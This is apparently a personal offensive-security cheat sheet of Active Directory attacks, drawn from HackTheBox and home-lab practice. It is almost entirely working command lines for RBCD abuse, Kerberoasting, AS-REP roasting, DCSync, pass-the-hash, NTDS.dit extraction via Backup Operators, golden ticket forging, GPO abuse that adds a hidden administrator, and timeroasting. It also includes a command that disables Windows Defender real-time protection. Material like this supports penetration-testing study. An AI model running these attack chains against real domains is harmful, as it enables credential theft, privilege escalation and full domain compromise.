root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!

Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

AD attacks-:

Abuse Resource-Based Constrained Delegation to Gain Unauthorized Access

In Resource-Based Constrained Delegation (RBCD), we configure the target resource e.g. a database or file server to specify which service accounts are permitted to access it on behalf of users. For example, a database service can be set up to allow specific services, like a web service, to act on behalf of users through assigned security permissions.
This differs from unconstrained and constrained delegation. With unconstrained delegation, service accounts with delegation enabled can access any resource on behalf of users. Similarly, with constrained delegation, service accounts with delegation enabled can access a specific list of resources.
Requirement-:

BCD is configured by setting the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
This attribute specifies which service accounts or systems are permitted to act on behalf of users to access the target resource.
-To exploit this type of delegation, an attacker must gain access to an account with Write permissions on the targeted resource (computer object), such as GenericAll, GenericWrite, and WriteDACL.

User SUPPORT@SUPPORT.HTB which the user I owned before is a member of a group called SHARED SUPPORT ACCOUNTS@SUPPORT.HTB. The group itself have full control to a computer called DC.SUPPORT.HTB, so in other words user SUPPORT have full control to DC.SUPPORT.HTB including write permission.

Exploiting with rbcd tool
Impacket tool [AddCOmputer]Syntax to add a computer-:

addcomputer.py -computer-name 'password' -computer-pass 'password' -dc-ip [ip] '[domain]/[username]:[password]'

Then, we use the RBCD python script to add our new computer to the msds-allowedtoactonbehalfofotheridentity attribute list.RBCD tool

Syntax-:

python3 rbcd.py 10.10.11.174 -u [domain]\\[user] -p '[password]' -t DC -f [newly created computer]

Now, we have what it needs to request a service ticket; we will use the getST.py script from impacket instead of Rubeus to request the service ticket as administrator.

python3 getST.py -spn cifs/[object with unconstrained delegation over] -impersonate [user] -dc-ip [ip] '[domain]/[user]:[password]'

When the ticket is issued, we can use by setting it to variable KRB5CCNAME for impacket-psexec.

Syntax-:

KRB5CCNAME=[ccache file name [endswith .ccache] impacket-psexec [domain]/[user]@[object] -k -no-pass

Dumping the hashes with impacket-secretsdump-:

You can set the KRB5CCNAME as an environmental variable

export KRB5CCNAME=$(pwd)/administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

Syntax-:

impacket-secretsdump -k -target-ip [ip] [domain name]

Pass the hash with Evil-winrm -:

Reference

Unconstrained Resource Delegation

Kerbroasting

Kerberoasting is a lateral movement/privilege escalation technique in Active Directory environments. This attack targets Service Principal Names (SPN) accounts.They are unique identifiers that uses Kerberos to map a service instance to a service account in which context the service is running.Domain accounts are often used to run services to overcome the network authentication limitations of built-in accounts such as NT AUTHORITY\LOCAL SERVICE. Any domain user can request a Kerberos ticket for any service account in the same domain. This is also possible across forest trusts if authentication is permitted across the trust boundary. All you need to perform a Kerberoasting attack is an account’s cleartext password (or NTLM hash), a shell in the context of a domain user account, or SYSTEM level access on a domain-joined host.
Service accounts are often configured with weak or reused password to simplify administration, and sometimes the password is the same as the username. If the password for a domain SQL Server service account is cracked, you are likely to find yourself as a local admin on multiple servers, if not Domain Admin. Even if cracking a ticket obtained via a Kerberoasting attack gives a low-privilege user account, we can use it to craft service tickets for the service specified in the SPN. For example, if the SPN is set to MSSQL/SRV01, we can access the MSSQL service as sysadmin, enable the xp_cmdshell extended procedure and gain code execution on the target SQL server.

Steps(Kerberoasting with GetUserSPNs.py)

Script-:

We can start by just gathering a listing of SPNs in the domain. To do this, we will need a set of valid domain credentials and the IP address of a Domain Controller. We can authenticate to the Domain Controller with a cleartext password, NT password hash, or even a Kerberos ticket. For our purposes, we will use a password.
Syntax-:

impacket-GetUserSPNs -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend

Requesting a Single TGS ticket

impacket-GetUserSPNs -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev

The next step is to crack with hashcat.

hashcat -m 13100 kerberoasted_sqldev /usr/share/wordlists/rockyou.txt

Saving to an ouptut file

impacket-GetUserSPNs -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile kerberoasted_sqldev

Cracked with John-:

Requesting all users

impacket-GetUserSPNs -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request

Sometimes the impacket-GetUserSPNs might be unable to get the tickets due to time. Simple fix-:

sudo faketime "$(rdate -n <domain-ip)" <binary>

Kerbroasting with nxc-:

sudo faketime "$(sudo rdate -n 192.168.232.129)"  nxc ldap  192.168.232.129  -u 'stafani.ferdinanda' -p 'ncc1701' --kerberoast kerberoast.hashes

Hashes type for kerberoast(Note that users are encrypted with user’spassword) -:

AES+PKDF2 ($krb5tgs$17$, $krb5tgs$18$)
RC+NTHASH (etype 23 ($krb5tgs$23$))

Using Windows for kerberoasting( Semi Manual mode)

Using setspn binary

setspn -Q */*

We will focus on user accounts and ignore the computer accounts returned by the tool. Using powershell to target a single user-:

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"

Retrieving all tickets with setspn.exe

setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Now that they are loaded, retrieve with mimikatz

Commands-:

base64 /out::true
kerberos::list /export

Prepping it for cracking

If base64 encoded, decode first it base64
Then, convert to tickets with kirbi2john

Crack with john

Modifying for hashcat

sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' tickets.txt

Using Powerview to capture the tickets

Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname

Targeting a specific user

Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat

Exporting to csv format-:

Get-DomainUser * -spn | Get-DomainSPNTicket -Format Hashcat | Export-csv .\powershell.csv -NoTypeInformation

Using Rubeus

Rubeus
Getting all the stats and info

.\Rubeus.exe kerberoast /stats

Let’s use Rubeus to request tickets for accounts with the admincount attribute set to 1. These would likely be high-value targets and worth our initial focus for offline cracking efforts with Hashcat. Be sure to specify the /nowrap flag so that the hash can be more easily copied down for offline cracking using Hashcat. Per the documentation, the ““/nowrap” flag prevents any base64 ticket blobs from being column wrapped for any function”; therefore, we won’t have to worry about trimming white space or newlines before cracking with Hashcat.Using the /nowrap flag

.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

Other Encryption Types

Kerberoasting tools typically request RC4 encryption when performing the attack and initiating TGS-REQ requests. This is because RC4 is weaker and easier to crack offline using tools such as Hashcat than other encryption algorithms such as AES-128 and AES-256. When performing Kerberoasting in most environments, we will retrieve hashes that begin with $krb5tgs$23$, an RC4 (type 23) encrypted ticket. Sometimes we will receive an AES-256 (type 18) encrypted hash or hash that begins with $krb5tgs$18$. While it is possible to crack AES-128 (type 17) and AES-256 (type 18) TGS tickets using Hashcat, it will typically be significantly more time consuming than cracking an RC4 (type 23) encrypted ticket, but still possible especially if a weak password is chosen. Let’s walk through an example.
Requesting a ticket for user testspn

.\Rubeus.exe kerberoast /user:testspn /nowrap

Checking supported hash type with Powerview, msds-supportedencryptiontypes is set to AES 128/256

Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes

Use /tgtdeleg to request for only RC4 encryption hash (type 23)-:

 .\Rubeus.exe kerberoast /user:testspn /nowrap /tgtdeleg

ASREP roasting

AS-REP Roasting is an Active Directory attack technique that targets user accounts configured without Kerberos pre-authentication. When pre-authentication is disabled, an attacker may be able to request authentication response material for the account and attempt to crack the encrypted response offline.Nxc

nxc ldap  192.168.232.129  -u valid_ad_username -p '' --asreproast valid_asrep_roast.txt

Using impacket-GETNPUsers-:

impacket-GetNPUsers cs.org/ -usersfile valid_ad_username -dc-ip 192.168.232.129 -request -format john

Cracking with john-:

Pass the ticket

Request a ticket for ServicePrincipal with-:

impacket-getTGT -dc-ip 192.168.232.129 'cs.org/stafani.ferdinanda:ncc1701' -debug

Setting the ticket .ccache for easy login-:

export KRB5CCNAME=/home/sensei/AD/lab/stafani.ferdinanda.ccache

DCSync Attack

The DCSync permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set
Notes-:
The DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
By default only Domain Admins, Enterprise Admins, Administrators, and Domain Controllers groups have the required privileges.
In practice, full DCSync needs DS-Replication-Get-Changes + DS-Replication-Get-Changes-All on the domain naming context. DS-Replication-Get-Changes-In-Filtered-Set is commonly delegated together with them, but on its own it is more relevant for syncing confidential / RODC-filtered attributes (for example legacy LAPS-style secrets) than for a full krbtgt dump
If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text.
Spotting with bloodhound-:

Attacking remotely-:

impacket-secretsdump  -just-dc mag.bekki:ncc1701@192.168.232.129 -outputfile dcsync_hashes

Dumping locally-:

.\mimikatz.exe
lsadump::dcsync /user:Administrator /domain:cs.org

Others

# Only the krbtgt account
secretsdump.py -just-dc-user krbtgt <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

# Only privileged objects selected through LDAP
secretsdump.py -just-dc-ntlm -ldapfilter '(adminCount=1)' <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

# Add metadata and password history for cracking/reuse analysis
secretsdump.py -just-dc-ntlm -history -pwd-last-set -user-status <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

Pass the hash with pth-winexe

Pass the hash-:

impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:57c5a5bc7c0e1f98e9c9d81161e74c44 Administrator@192.168.232.129

Transfer files=:

#Disabling windows real time protection
powershell.exe -c "Set-MpPreference -DisableRealtimeMonitoring $true"
C:\Windows\system32> lput mimikatz.exe
[*] Uploading mimikatz.exe to ADMIN$\/
C:\Windows\system32> cd C:\windows
C:\Windows> dir /b mimikatz.exe
mimikatz.exe

Use runas-:

runas /netonly /user:yourdomain\TargetUser cmd.exe

Abusing Users in Backup Operators

Members of the Backup Operators group possess SeBackupPrivilege and SeRestorePrivilege, which let them bypass normal file permissions to read protected system files. If the compromised user is also part of the Remote Management Users group, you can connect directly to the target via WinRM (using tools like evil-winrm) to run the exploitation chain interactively.
User stephanie.clara is a member of that group.

Exploit here -:

#Importing both dlls from the repo using powershell
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

ntds.dit is the Active Directory database file located at C:\Windows\NTDS\ntds.dit. Even with SeBackupPrivilege, the file cannot be directly copied while the NTDS service is running because it is exclusively locked by the Extensible Storage Engine. The solution is to use the Volume Shadow Copy Service (VSS) to create a point-in-time snapshot of the C: volume, then read ntds.dit from the snapshot.
DiskShadow.exe is a Microsoft-signed tool built into Windows Server that automates VSS operations using a script file. Create with kali

bash -c "echo -ne 'set context persistent nowriters\nadd volume c: alias raj\ncreate expose %raj% z:' > backup.dsh;unix2dos backup.dsh"

Create a directory in C:\-:

Then, run which creates a shadow copy is now accessible at Z:. This is an exact read-only clone of C: at the moment of snapshot creation, bypassing all file locks held by running services.-:

#disk shadow to create a shadow copy
diskshadow /s backup.dsh

Then, robocopy to finish it save it-:

robocopy /b z:\windows\ntds . ntds.dit

Lastly, you need to save the PEK, The ntds.dit is encrypted with the PEK (Password Encryption Key), which itself is protected by the boot key (SysKey) stored in the SYSTEM registry hive. Without this hive, the hashes cannot be decrypted. Save it to disk:

reg save hklm\system c:\Temp\system

Dumping with impacket-secretsdump-:

impacket-secretsdump -ntds ntds.dit -system system LOCAL

Or use nxc’s backup_operator-:

nxc smb 192.168.232.129  -d cs.org -u "stephanie.clara"  -p 'ncc1701' -M backup_operator

Or impacket-reg
Set up an smbshare

impacket-smbserver share $(pwd) -smb2support

Exploiting it-:

impacket-reg "cs.org"/"stephanie.clara":"password"@"192.168.232.129" backup -o '\\192.168.232.130\share'

Grabbing ntds with nxc

Command-:

nxc smb  10.1.129.131 -d dc01.martini.bars -u 'athena.t0' -p '1dirtymartini' --ntds --user krbtgt

Forging a golden ticket with krbtgt-:

A Golden Ticket attack consists of the creation of a legitimate Ticket Granting Ticket (TGT) impersonating any user through the use of the NTLM hash of the Active Directory (AD) krbtgt account. This technique is particularly advantageous because it enables access to any service or machine within the domain as the impersonated user. It’s crucial to remember that the krbtgt account’s credentials are never automatically updated.To acquire the NTLM hash of the krbtgt account, various methods can be employed. It can be extracted from the Local Security Authority Subsystem Service (LSASS) process or the NT Directory Services (NTDS.dit) file located on any Domain Controller (DC) within the domain. Furthermore, executing a DCsync attack is another strategy to obtain this NTLM hash, which can be performed using tools such as the lsadump::dcsync module in Mimikatz or the secretsdump.py script by Impacket. It’s important to underscore that to undertake these operations, domain admin privileges or a similar level of access is typically required.[2]

Finding Domain sids-:

Get-ADDomain | Select-Object -ExpandProperty DomainSID

Crafting it with impacket-ticketer-:

impacket-ticketer -nthash 22ebc290e67668629c8d0812662a9c51  -domain-sid S-1-5-21-3716536509-2861296316-2740169710   -domain dry.martini.bars Administrator

Exploiting Machine quota for user

Only Domain Admins accounts should be able to create Computer accounts and it is limited to 10 for admins and 0 for users.
Checking it out with nxc-:

nxc ldap -u "dev" -p "password" -dc-ip dc01.papa.local -M maq

It is created by making a request to the domain controller.

impacket-addcomputer -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'

Pre 2k AD configurations

Pre2K Active Directory misconfigurations (short for “Pre-Windows 2000”) often stem from overlooked legacy settings in Windows environments. Common issues include enabling NTLM or SMBv1 for backward compatibility, leaving Pre-Windows 2000 accounts active, and neglecting proper account cleanup. These misconfigurations, when combined with weak permissions, can expose domains to privilege escalation and unauthorized access.
Using pre2k and nxc to exploit-:
Using NXC-:

nxc ldap 192.168.130.136 -u "dev" -p "password" -M pre2k

Exploitation( We cannot login)-:

The error “STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT” indicates a computer is unable to log on to the domain because it does not have the necessary trust relationship set up with the Active Directory domain. This issue usually occurs when the system misconfigures the computer account, deactivates it, or allows the password to fall out of sync with the domain controller.Therefore, we can change the password and reattempt to connect with the new password.
Then, we’ll change it using impacket-changepasswd tool-:

impacket-changepasswd ignite.local/DEMO$@192.168.1.48 -newpass 'Password@987' -p rpc-samr

Exploiting Group Policy Objects

Bloodhound

Exploiting with pygpoabuse-:

pygpoabuse 'papa.local/dev:password' -gpo-id 'AD57560C-6272-4088-892B-C0A7D6D874D9' -command 'net user secret Password123! /add && net localgroup administrators secret /add' -v

Proof of creation-:

Unconstrained Delegation

Find a user with unconstrained delegation-:

impacket-findDelegation 'papa.local/delegation_user'  -dc-ip 192.168.130.136  -hashes aad3b435b51404eeaad3b435b51404ee:4a5d8fb255b44f32cf2831a488b3afb1

Add a Service Principal Name to the user if it doesn’t exist-:

addspn -u papa.local\\delegation_user -p 'aad3b435b51404eeaad3b435b51404ee:4a5d8fb255b44f32cf2831a488b3afb1' -s papa.local/delegated_user.papa.local --target-type samname 192.168.130.136

Testing SPN existence with pywerview-:

pywerview get-netuser -d papa.local -u delegation_user --hashes 'aad3b435b51404eeaad3b435b51404ee:4a5d8fb255b44f32cf2831a488b3afb1' -t 192.168.130.136 --unconstrained

Add attacker’s ip to DNS entries, make sure the -r is the new spn

python3 dnstool.py -u papa.local\\delegation_user -p 'aad3b435b51404eeaad3b435b51404ee:4a5d8fb255b44f32cf2831a488b3afb1' -r delegated_user.papa.local -a add --allow-multiple -d 192.168.130.132 192.168.130.136

Timeroasting

Domain-joined computers typically synchronize their clocks using the Network Time Protocol (NTP), with a Domain Controller (DC) acting as the time source. However, traditional NTP lacks authentication, making it vulnerable to man-in-the-middle (MitM) attacks where an adversary could spoof responses and manipulate the client’s system time.
Unauth Timeroast with script-:

python3 timeroast.py papa.local

Authenticated is 10x faster as it reduces the time to resolve RID. Firstly, when authenticated, we can resolve RIDs to hostnames automatically. This significantly simplifies attribution — allowing us to map each SNTP hash back to the corresponding computer account in Active Directory.

Import-Module .\Invoke-AuthenticatedTimeRoast.ps1
Invoke-AuthenticatedTimeRoast  -DomainController "dc01.papa.local"

Cracking it with hashcat-:

hashcat -m 31300 -a 0 -O timeroast_hashes /home/sensei/rockyou.txt --username

root💀senseicat:~#

AD attacks-:

Abuse Resource-Based Constrained Delegation to Gain Unauthorized Access

Reference

Kerbroasting

Steps(Kerberoasting with GetUserSPNs.py)

Using Windows for kerberoasting( Semi Manual mode)

Prepping it for cracking

Using Rubeus

Other Encryption Types

ASREP roasting

Pass the ticket

DCSync Attack

Pass the hash with pth-winexe

Sign in with another user

Abusing Users in Backup Operators

Grabbing ntds with nxc

Exploiting Machine quota for user

Pre 2k AD configurations

Exploiting Group Policy Objects

Unconstrained Delegation

Timeroasting